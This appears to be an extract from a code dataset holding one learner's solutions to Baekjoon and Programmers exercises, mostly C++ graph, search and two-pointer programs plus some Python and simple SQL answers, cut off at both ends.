0;\n}"},{"alpha_fraction":0.4374590814113617,"alphanum_fraction":0.459070086479187,"avg_line_length":19.931507110595703,"blob_id":"60ca4ef7ca375b46e1d8edf9f62f234e852008f4","content_id":"a15aa2305134b9ca31fd0457c0a1d9aeed2585ff","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1541,"license_type":"no_license","max_line_length":95,"num_lines":73,"path":"/BOJ/Dijkstra/1238_2.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1238번: 파티\nDATE: 2021-07-13\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <queue>\n#include <algorithm>\n#define MAX 1001\n#define INF 1e9\nusing namespace std;\n\nvector<pair<int, int>> graph[MAX];\nint dst[MAX], ans[MAX];\nint n, m, x, s, e, t;\n\nvoid dijkstra(int start){\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int,int>>> pq; //거리, 노드\n pq.push(make_pair(0, start));\n dst[start] = 0;\n\n while(!pq.empty()){\n int cost = pq.top().first;\n int now = pq.top().second;\n pq.pop();\n\n for(int i = 0 ; i < graph[now].size() ; i++){\n int next = graph[now][i].first;\n int nCost = graph[now][i].second;\n \n if(cost+nCost < dst[next]){\n dst[next] = cost + nCost;\n pq.push(make_pair(cost + nCost, next));\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m >> x;\n\n for(int i = 1 ; i <= n ; i++){\n dst[i] = INF;\n }\n\n for(int i = 0 ; i < m ; i++){\n cin >> s >> e >> t;\n graph[s].push_back(make_pair(e, t));\n }\n\n //i to x\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n dst[j] = INF;\n }\n dijkstra(i);\n ans[i] = dst[x];\n }\n\n for(int i = 1 ; i <= n ; i++) dst[i] = INF;\n\n // start x\n dijkstra(x);\n\n for(int i = 1 ; i <= n ; i++){\n ans[i] += dst[i];\n }\n\n cout << *max_element(ans+1, ans+n+1);\n\n return 0;\n}"},{"alpha_fraction":0.5322195887565613,"alphanum_fraction":0.5680190920829773,"avg_line_length":19,"blob_id":"b1eb07289480d985cbe1546b22961bcf16056d93","content_id":"2250bd360cbcf292a58867f262a1c2bbfc0b99ce","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":429,"license_type":"no_license","max_line_length":42,"num_lines":21,"path":"/programmers/Level 1/make_prime_number.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 1: 소수 만들기\n# date: 2022-04-14\nfrom itertools import combinations\nfrom math import sqrt\n\ndef isPrime(num):\n for i in range(2, int(sqrt(num) + 1)):\n if num % i == 0: return False\n \n return True\n \ndef solution(nums):\n answer = 0\n \n nums = sorted(nums)\n \n for i in combinations(nums, 3):\n if isPrime(sum(i)):\n answer += 1\n \n return answer"},{"alpha_fraction":0.4716981053352356,"alphanum_fraction":0.48899370431900024,"avg_line_length":20.94827651977539,"blob_id":"8a8c3b22c7a06b75ccc3afb40b5407575130b71d","content_id":"d5e11218410dc40fc97715f507c5777d82a5a782","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1276,"license_type":"no_license","max_line_length":84,"num_lines":58,"path":"/programmers/Level 2/delivery.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 배달\ndate: 2022-06-03\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 51\n#define INF 1e9\nusing namespace std;\n\nint dst[MAX];\nvector<pair<int,int>> graph[MAX];\n\nvoid dijkstra(int start){\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq;\n \n pq.push({0, start});\n dst[start] = 0;\n \n while(!pq.empty()){\n int node = pq.top().second;\n int cost = pq.top().first;\n pq.pop();\n \n for(int i = 0 ; i < graph[node].size() ; i++){\n int nextNode = graph[node][i].first;\n int nextCost = graph[node][i].second;\n \n if(dst[nextNode] > cost + nextCost){\n dst[nextNode] = cost + nextCost;\n pq.push({dst[nextNode], nextNode});\n }\n }\n }\n}\n\nint solution(int N, vector<vector<int>> road, int K) {\n int answer = 0;\n \n for(auto i : road){\n int a = i[0];\n int b = i[1];\n int c = i[2];\n \n graph[a].push_back({b, c});\n graph[b].push_back({a, c});\n }\n \n fill(dst, dst+MAX, INF);\n dijkstra(1);\n \n for(int i = 1 ; i <= N ; i++){\n if(dst[i] != INF && dst[i] <= K) answer++;\n }\n \n return answer;\n}"},{"alpha_fraction":0.4583333432674408,"alphanum_fraction":0.47537878155708313,"avg_line_length":20.571428298950195,"blob_id":"f72b39b2b603060dea1e0e7a41658e49e4a12d7c","content_id":"205913b7d63651dae8d61d879edd58ba49f091af","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1072,"license_type":"no_license","max_line_length":66,"num_lines":49,"path":"/programmers/Level 2/printer.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 2: 프린터\n//2021-10-06\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <queue>\nusing namespace std;\n\nint solution(vector<int> priorities, int location) {\n priority_queue<int, vector<int>> pq;\n queue<pair<int, int>> q; \n vector<int> v;\n int answer = 0;\n\n for(int i = 0 ; i < priorities.size() ; i++) {\n q.push(make_pair(priorities[i], i)); //중요도, 문서\n pq.push(priorities[i]);\n }\n \n int max = pq.top();\n \n while(!q.empty()) {\n pair<int,int> cur = q.front();\n \n if(cur.first < max) {\n while(cur.first != max) {\n q.push(q.front());\n q.pop();\n cur = q.front();\n }\n }\n else {\n v.push_back(cur.second);\n q.pop(); pq.pop();\n max = pq.top();\n }\n }\n \n answer = (find(v.begin(), v.end(), location) - v.begin()) + 1;\n \n return answer;\n}\n\nint main() {\n int answer = solution({2, 1, 3, 2}, 2);\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.31910276412963867,"alphanum_fraction":0.3444283604621887,"avg_line_length":18.471830368041992,"blob_id":"551f68828ecb991dfd148ccd749af4f24655fbf8","content_id":"9c59a31f8f472bc5a4b684830ac81cc277c881d5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2822,"license_type":"no_license","max_line_length":62,"num_lines":142,"path":"/BOJ/Implementation/17144.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 17144번: 미세먼지 안녕!\nDATE: 2022-03-15\n*/\n#include <iostream>\n#include <vector>\n#include <cstring>\n#define MAX 51\nusing namespace std;\n\nint arr[MAX][MAX], tmp[MAX][MAX];\nint up, down;\nint dr[4] = {-1, 0, 1, 0};\nint dc[4] = {0, 1, 0, -1};\nint r, c, t;\nvector<pair<int,int>> dust;\n\nvoid spread(){\n for(int i = 0 ; i < dust.size() ; i++){\n int row = dust[i].first;\n int col = dust[i].second;\n int value = arr[row][col];\n int cnt = 0;\n\n for(int j = 0 ; j < 4 ; j++){\n int nr = row + dr[j];\n int nc = col + dc[j];\n\n if(nr < 1 || nc < 1 || nr > r || nc > c) continue;\n if(arr[nr][nc] == -1) continue;\n\n tmp[nr][nc] += value / 5;\n cnt++;\n }\n \n tmp[row][col] += value - (value / 5) * cnt;\n }\n}\n\nvoid upside(){ // 반시계 방향\n int a, b = 0;\n\n for(int i = 2 ; i <= c ; i++){\n a = tmp[up][i];\n tmp[up][i] = b;\n b = a;\n }\n\n for(int i = up - 1 ; i >= 1 ; i--){\n a = tmp[i][c];\n tmp[i][c] = b;\n b = a;\n }\n\n for(int i = c - 1 ; i >= 1 ; i--){\n a = tmp[1][i];\n tmp[1][i] = b;\n b = a;\n }\n\n for(int i = 2 ; i <= up ; i++){\n a = tmp[i][1];\n tmp[i][1] = b;\n b = a;\n }\n}\n\nvoid downside(){ // 시계 방향\n int a, b = 0;\n\n for(int i = 2 ; i <= c ; i++){\n a = tmp[down][i];\n tmp[down][i] = b;\n b = a;\n }\n\n for(int i = down + 1 ; i <= r ; i++){\n a = tmp[i][c];\n tmp[i][c] = b;\n b = a;\n }\n\n for(int i = c - 1 ; i >= 1 ; i--){\n a = tmp[r][i];\n tmp[r][i] = b;\n b = a;\n }\n\n for(int i = r - 1 ; i >= down ; i--){\n a = tmp[i][1];\n tmp[i][1] = b;\n b = a;\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int ans = 0;\n cin >> r >> c >> t;\n\n for(int i = 1 ; i <= r ; i++){\n for(int j = 1 ; j <= c ; j++){\n cin >> arr[i][j];\n if(arr[i][j] == -1){\n if(up == 0) up = i;\n else down = i;\n }\n else if(arr[i][j] > 0) dust.push_back({i,j});\n }\n }\n\n while(t--){\n memset(tmp, 0, sizeof(tmp));\n\n // 미세먼지 확산\n spread();\n\n // 공기청정기 작동\n upside();\n downside();\n\n dust.clear();\n\n for(int i = 1 ; i <= r ; i++){\n for(int j = 1 ; j <= c ; j++){\n if(arr[i][j] == -1) continue;\n arr[i][j] = tmp[i][j];\n dust.push_back({i, j});\n }\n }\n }\n\n for(int i = 1 ; i <= r ; i++){\n for(int j = 1 ; j <= c ; j++){\n if(arr[i][j] > 0) ans += arr[i][j];\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4386920928955078,"alphanum_fraction":0.4611716568470001,"avg_line_length":19.690141677856445,"blob_id":"0e14c5974c6bca22ba3be6b50b774ad0f4dba969","content_id":"751fa441b2d07ebcf46a03b8e97994a882284c40","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1488,"license_type":"no_license","max_line_length":87,"num_lines":71,"path":"/BOJ/Dijkstra/18352.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 18352번: 특정 거리의 도시 찾기\nDATE: 2021-02-25\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 300001\n#define INF 1e9\nusing namespace std;\n\nvector<pair<int, int>> graph[MAX];\nint d[MAX];\n\nvoid dijkstra(int start){\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq;\n pq.push(make_pair(0, start));\n d[start] = 0;\n\n while(!pq.empty()){\n int cost = pq.top().first;\n int now = pq.top().second;\n pq.pop();\n\n for(int i = 0 ; i < graph[now].size() ; i++){\n int next = graph[now][i].first;\n int nCost = cost + graph[now][i].second;\n if(nCost < d[next]){\n d[next] = nCost;\n pq.push(make_pair(d[next], next));\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n priority_queue<int, vector<int>, greater<int>> pq;\n int n, m, k, x, check;\n cin >> n >> m >> k >> x;\n\n for(int i = 0 ; i < m ; i++){\n int a, b;\n cin >> a >> b;\n graph[a].push_back(make_pair(b, 1)); \n }\n\n for(int i = 1 ; i <= n ; i++){\n d[i] = INF;\n }\n\n dijkstra(x);\n\n for(int i = 1 ; i <= n ; i++){\n if(d[i] == k) {\n pq.push(i);\n }\n }\n\n if(pq.empty())\n cout << -1;\n else{\n while(!pq.empty()){\n cout << pq.top() << \"\\n\";\n pq.pop();\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.38260868191719055,"alphanum_fraction":0.4153846204280853,"avg_line_length":20.68115997314453,"blob_id":"4d7bbbd0cb0e20347cc2d86306888bbda422cba5","content_id":"4c12d3aec0ce98165e176f957de05239346d55a5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1507,"license_type":"no_license","max_line_length":82,"num_lines":69,"path":"/BOJ/BFS_DFS/2665.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 2665번: 미로만들기\nDATE: 2021-02-25\nBFS\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#include <string.h>\n#define MAX 51\nusing namespace std;\n\nint arr[MAX][MAX];\nint visited[MAX][MAX];\nint dx[] = {-1, 0, 1, 0};\nint dy[] = {0, 1 , 0, -1};\nint n;\n\nvoid bfs(){\n queue<pair<int, int>> q;\n\n memset(visited, -1, sizeof(visited));\n q.push(make_pair(0, 0));\n visited[0][0] = 0;\n\n while(!q.empty()){\n int x = q.front().first;\n int y = q.front().second;\n q.pop();\n\n for(int i = 0 ; i < 4 ; i++){\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx >= 0 && nx < n && ny >= 0 && ny < n && arr[nx][ny]){ //1\n if(visited[nx][ny] == -1 || visited[nx][ny] > visited[x][y]){\n visited[nx][ny] = visited[x][y];\n q.push(make_pair(nx, ny));\n }\n }\n else if(nx >= 0 && nx < n && ny >= 0 && ny < n && !arr[nx][ny]){ //0\n if(visited[nx][ny] == -1 || visited[nx][ny] > visited[x][y] + 1){\n visited[nx][ny] = visited[x][y] + 1;\n q.push(make_pair(nx, ny));\n }\n }\n }\n }\n\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n;\n\n for (int i = 0 ; i < n; i++) {\n\t\tstring str;\n\t\tcin >> str;\n\t\tfor (int j = 0 ; j < n ; j++) {\n\t\t\tarr[i][j] = str[j] - '0';\n\t\t}\n\t}\n\n bfs();\n\n cout << visited[n-1][n-1];\n \n return 0;\n}"},{"alpha_fraction":0.4008714556694031,"alphanum_fraction":0.4466230869293213,"avg_line_length":14.333333015441895,"blob_id":"0cb4573c036dc7b314c81c7c494b133abeb46a18","content_id":"40d51bc43ca76a5cc5e723601cfaa135c6c06815","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":461,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Greedy/11399.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11399번: ATM\n2021-03-29\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, time=0;\n cin >> n;\n\n int arr[n];\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n sort(arr, arr + n); \n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j <= i ; j++){\n time += arr[j];\n }\n }\n\n cout << time;\n\n return 0;\n}"},{"alpha_fraction":0.45837321877479553,"alphanum_fraction":0.4803827702999115,"avg_line_length":19.115385055541992,"blob_id":"45c626752d6bbb6b3e10d86e52d6a8cc43c690b8","content_id":"26f317f589c550c9bb64ed973c22e949907621a7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1057,"license_type":"no_license","max_line_length":58,"num_lines":52,"path":"/BOJ/Graph Theory/1717.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1717번: 집합의 표현\nDATE: 2021-02-15\nUnion-Find\n*/\n#include <iostream>\nusing namespace std;\n\nint getParent(int parent[], int x){\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent, parent[x]);\n}\n\nvoid unionParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int parent[], int a, int b){\n a = getParent(parent, a);\n b = getParent(parent, b);\n if(a == b) return 1;\n else return 0;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n cin >> n >> m;\n\n int parent[n+1];\n for(int i = 0 ; i <= n ; i++){\n parent[i] = i;\n }\n\n for(int i = 0 ; i < m ; i++){\n int x, y, z;\n cin >> x >> y >> z;\n\n if(x == 0) unionParent(parent, y, z);\n else if(x == 1){\n if(findParent(parent, y, z))\n cout << \"YES\" << \"\\n\";\n else\n cout << \"NO\" << \"\\n\";\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.42279940843582153,"alphanum_fraction":0.45743146538734436,"avg_line_length":18.828571319580078,"blob_id":"2eb1ded455c523c2865e0cfe1b0e5a3af5890669","content_id":"d66228c8318f7c98058af5ba6d678e9afe65fc00","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":705,"license_type":"no_license","max_line_length":81,"num_lines":35,"path":"/BOJ/Mathematics/6219.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 6219번: 소수의 자격\n2022-01-20\n*/\n#include <iostream>\n#include <math.h>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int a, b, d;\n int ans = 0;\n \n cin >> a >> b >> d;\n\n int prime[b + 1];\n char ch = d + '0';\n\n for(int i = 2 ; i <= b ; i++) prime[i] = i;\n\n for(int i = 2 ; i <= sqrt(b) ; i++){\n if(prime[i] == 0) continue;\n for(int j = i * i ; j <= b ; j += i) prime[j] = 0;\n }\n\n for(int i = a ; i <= b ; i++) {\n string str = to_string(prime[i]);\n if(prime[i] != 0 && find(str.begin(), str.end(), ch) != str.end()) ans++;\n }\n\n cout << ans;\n \n return 0;\n}"},{"alpha_fraction":0.4463452696800232,"alphanum_fraction":0.48522549867630005,"avg_line_length":14.707317352294922,"blob_id":"5fdcf43acdfee96fdfa5686cf8cc91f2f6e249ae","content_id":"e0715134fb6036452b233f3f42996ed0c668b92e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":647,"license_type":"no_license","max_line_length":64,"num_lines":41,"path":"/BOJ/BFS_DFS/15651.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15651번: N과 M (3)\n2022-01-05\nBacktracking\n*/\n#include <iostream>\n#include <vector>\n#define MAX 8\nusing namespace std;\n\nint n, m;\nvector<int> num;\nvector<int> ans; \n\nvoid print(){\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \" \";\n cout << '\\n';\n}\n\nvoid dfs(int cnt){\n if(cnt == m) {\n print();\n return;\n }\n\n for(int i = 0 ; i < n ; i++){\n ans.push_back(num[i]);\n dfs(cnt + 1);\n ans.pop_back();\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++) num.push_back(i + 1);\n dfs(0);\n\n return 0;\n}"},{"alpha_fraction":0.3421269655227661,"alphanum_fraction":0.37922507524490356,"avg_line_length":18.26984214782715,"blob_id":"45876866444558b2f0b8eb4daa481cac95cff02a","content_id":"2b19317e328c2a0456ebe92d44bd0d6aa0f9e623","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1239,"license_type":"no_license","max_line_length":79,"num_lines":63,"path":"/BOJ/BFS_DFS/7576.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 7576번: 토마토\nDATE: 2022-02-02\nBFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 1000\nusing namespace std;\n\nqueue<pair<int,int>> q;\nint m, n;\nint arr[MAX][MAX];\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\n\nvoid bfs() {\n while(!q.empty()) {\n int x = q.front().first;\n int y = q.front().second;\n\n q.pop();\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || arr[nx][ny]) continue;\n\n q.push({nx, ny});\n arr[nx][ny] = arr[x][y] + 1;\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int ans = 0;\n cin >> m >> n;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n cin >> arr[i][j];\n if(arr[i][j] == 1) q.push({i, j});\n }\n }\n\n bfs();\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < m ; j++) {\n if(arr[i][j] == 0) { // 익지 않은 토마토 존재\n cout << -1;\n return 0;\n }\n else if(arr[i][j] > ans) ans = arr[i][j]; \n }\n }\n\n cout << ans - 1;\n\n return 0;\n}"},{"alpha_fraction":0.3927038609981537,"alphanum_fraction":0.42274677753448486,"avg_line_length":16.60377311706543,"blob_id":"7b919b6cc71f4697d7ef39806fe974284dc40381","content_id":"df09991450e393f09adf0801f1cd1a684f1a19d1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":946,"license_type":"no_license","max_line_length":60,"num_lines":53,"path":"/BOJ/Two Pointer/1644.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1644번: 소수의 연속합\n2021-12-28\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <math.h>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> prime;\n int n;\n int start = 0, end = 0, sum = 0, ans = 0;\n \n cin >> n;\n\n if(n == 1) {\n cout << 0;\n return 0;\n }\n\n int arr[n + 1];\n fill(arr, arr + n + 1, true);\n arr[1] = false;\n\n for(int i = 2 ; i <= sqrt(n) ; i++) {\n if(!arr[i]) continue;\n for(int j = i * i ; j <= n ; j += i) arr[j] = false;\n }\n\n for(int i = 2 ; i <= n ; i++) {\n if(arr[i]) prime.push_back(i);\n }\n\n while(end <= prime.size()) {\n if(sum < n) {\n sum += prime[end];\n end++;\n }\n else if(sum >= n) {\n sum -= prime[start];\n start++;\n }\n\n if(sum == n) ans++;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.6214510798454285,"alphanum_fraction":0.6585173606872559,"avg_line_length":20.86206817626953,"blob_id":"a34090eadfd8794190cd3d0f0d9a5247c03e76aa","content_id":"d97d06a259741c215153b88e6a1da188c7448fbb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1364,"license_type":"no_license","max_line_length":98,"num_lines":58,"path":"/programmers/SQL/String, Date.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# String, Date\n\n**[1. 루시와 엘라 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59046)**\n\n```sql\nSELECT ANIMAL_ID, NAME, SEX_UPON_INTAKE\nFROM ANIMAL_INS\nWHERE NAME IN ('Lucy', 'Ella', 'Pickle', 'Rogan', 'Sabrina', 'Mitty')\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[2. 이름에 el이 들어가는 동물 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59047)**\n\n```sql\nSELECT ANIMAL_ID, NAME\nFROM ANIMAL_INS\nWHERE NAME LIKE '%el%' and ANIMAL_TYPE = 'Dog'\nORDER BY NAME\n```\n\n<br/>\n\n**[3. 중성화 여부 파악하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59409)**\n\n```sql\nSELECT ANIMAL_ID, NAME,\n CASE\n WHEN SEX_UPON_INTAKE = 'Neutered Male' THEN \"O\"\n WHEN SEX_UPON_INTAKE = \"Spayed Female\" THEN \"O\"\n ELSE \"X\"\n END AS '중성화'\nFROM ANIMAL_INS\nORDER BY ANIMAL_ID\n```\n\n<br/>\n\n**[4. 오랜 기간 보호한 동물(2) (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59411)**\n\n```sql\nSELECT A.ANIMAL_ID, B.NAME\nFROM ANIMAL_INS A, ANIMAL_OUTS B\nWHERE A.ANIMAL_ID = B.ANIMAL_ID\nORDER BY B.DATETIME - A.DATETIME DESC\nLIMIT 2\n```\n\n<br/>\n\n**[5. DATETIME에서 DATE로 형 변환 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59414)**\n\n```sql\nSELECT ANIMAL_ID, NAME, DATE_FORMAT(DATETIME, '%Y-%m-%d') as 날짜\nFROM ANIMAL_INS\nORDER BY ANIMAL_ID\n```\n"},{"alpha_fraction":0.42514970898628235,"alphanum_fraction":0.4565868377685547,"avg_line_length":15.317072868347168,"blob_id":"ce48eee024318602496c1f27dcb6ac37dc2d3ffe","content_id":"e23b8cc1747152cc99e71cafd73337c871ef0466","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":678,"license_type":"no_license","max_line_length":58,"num_lines":41,"path":"/BOJ/Two Pointer/2230.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2230번: 수 고르기\nDATE: 2022-02-08\nTwo pointer\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n int start, end, minVal = 2e9;\n cin >> n >> m;\n\n int arr[n];\n\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\n sort(arr, arr + n);\n\n start = 0; end = 0;\n\n while(end < n) {\n int diff = arr[end] - arr[start];\n\n if(diff == m) {\n minVal = m;\n break;\n }\n\n if(diff < m) end++;\n else {\n minVal = min(minVal, diff);\n start++;\n }\n }\n\n cout << minVal;\n\n return 0;\n}"},{"alpha_fraction":0.5655527114868164,"alphanum_fraction":0.5938303470611572,"avg_line_length":17.571428298950195,"blob_id":"944ee0662e665b263d0aa64c8e82f0f03155c76a","content_id":"91b22b4906353c94669c78ebbc16ef44cd41eac0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":411,"license_type":"no_license","max_line_length":52,"num_lines":21,"path":"/programmers/Level 1/divisible_number_array.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 나누어 떨어지는 숫자 배열\n2022-03-21\n*/\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<int> solution(vector<int> arr, int divisor) {\n vector<int> answer;\n \n sort(arr.begin(), arr.end());\n \n for(auto i : arr){\n if(i % divisor == 0) answer.push_back(i);\n }\n \n if(answer.empty()) answer.push_back(-1);\n \n return answer;\n}"},{"alpha_fraction":0.5655737519264221,"alphanum_fraction":0.5901639461517334,"avg_line_length":15.681818008422852,"blob_id":"bbbda206e74f2f37ab5b32635cf77e0fbc30fb2e","content_id":"6eb1da88c2519cb8b95d9c84f4798f36a6abb264","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":408,"license_type":"no_license","max_line_length":43,"num_lines":22,"path":"/programmers/Level 1/gcd_lcm.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 최대공약수와 최소공배수\n2022-03-19\n*/\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nint gcd(int a, int b){\n return b ? gcd(b, a % b) : a;\n}\n\nvector<int> solution(int n, int m) {\n vector<int> answer;\n int res = gcd(n, m);\n \n answer.push_back(res); // 최대공약수\n answer.push_back(n * m / res); // 최소공배수\n \n return answer;\n}"},{"alpha_fraction":0.3871449828147888,"alphanum_fraction":0.4275037348270416,"avg_line_length":14.581395149230957,"blob_id":"dc0f887e86f66ce5338ea9eb1efc7f5f3da2a995","content_id":"74dc57f2ff1c7b2ffdafeaf5fb942644be5e496c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":679,"license_type":"no_license","max_line_length":58,"num_lines":43,"path":"/BOJ/Two Pointer/3273.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3273번: 두 수의 합\nDATE: 2021-06-01\nTwo Pointer\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint arr[100001];\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, x;\n cin >> n;\n\n int start = 0, end = n - 1, sum = 0, ans = 0;\n\n for (int i = 0; i < n; i++) {\n cin >> arr[i];\n }\n\n sort(arr, arr + n);\n\n cin >> x;\n\n while (start < end) {\n if (arr[start] + arr[end] == x) {\n ans++;\n start++;\n }\n else if (arr[start] + arr[end] > x) {\n end--;\n }\n else {\n start++;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.5264151096343994,"alphanum_fraction":0.5584905743598938,"avg_line_length":20.239999771118164,"blob_id":"2c025ecc499aec55e5c0b4737434d965ec7f1e08","content_id":"536a8475af2c8a80058fc2f69a7d9680a742b7f6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":536,"license_type":"no_license","max_line_length":96,"num_lines":25,"path":"/BOJ/Implementation/5635.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 5635번: 생일\nDATE: 2022-05-26\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n; \n\n vector<pair<pair<int,int>, pair<int, string>>> v(n);\n\n for(int i = 0 ; i < n ; i++){\n cin >> v[i].second.second >> v[i].second.first >> v[i].first.second >> v[i].first.first;\n }\n\n sort(v.begin(), v.end());\n cout << v.back().second.second << \"\\n\" << v.front().second.second;\n\n return 0;\n}"},{"alpha_fraction":0.35738831758499146,"alphanum_fraction":0.38969072699546814,"avg_line_length":20.101449966430664,"blob_id":"d05f76d03b2e547b09b7b2a883511f660f3627a4","content_id":"6b01d2aab9b19bae71a528dcb252ed0bd23c3b7e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1457,"license_type":"no_license","max_line_length":83,"num_lines":69,"path":"/BOJ/BFS_DFS/1012.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1012번: 유기농 배추\nDATE: 2021-10-25\nBFS\n*/\n#include <iostream>\n#include <string.h>\n#include <queue>\nusing namespace std;\n\nint arr[50][50];\nbool visited[50][50];\nint m, n;\nint dx[4] = {-1, 0, 1, 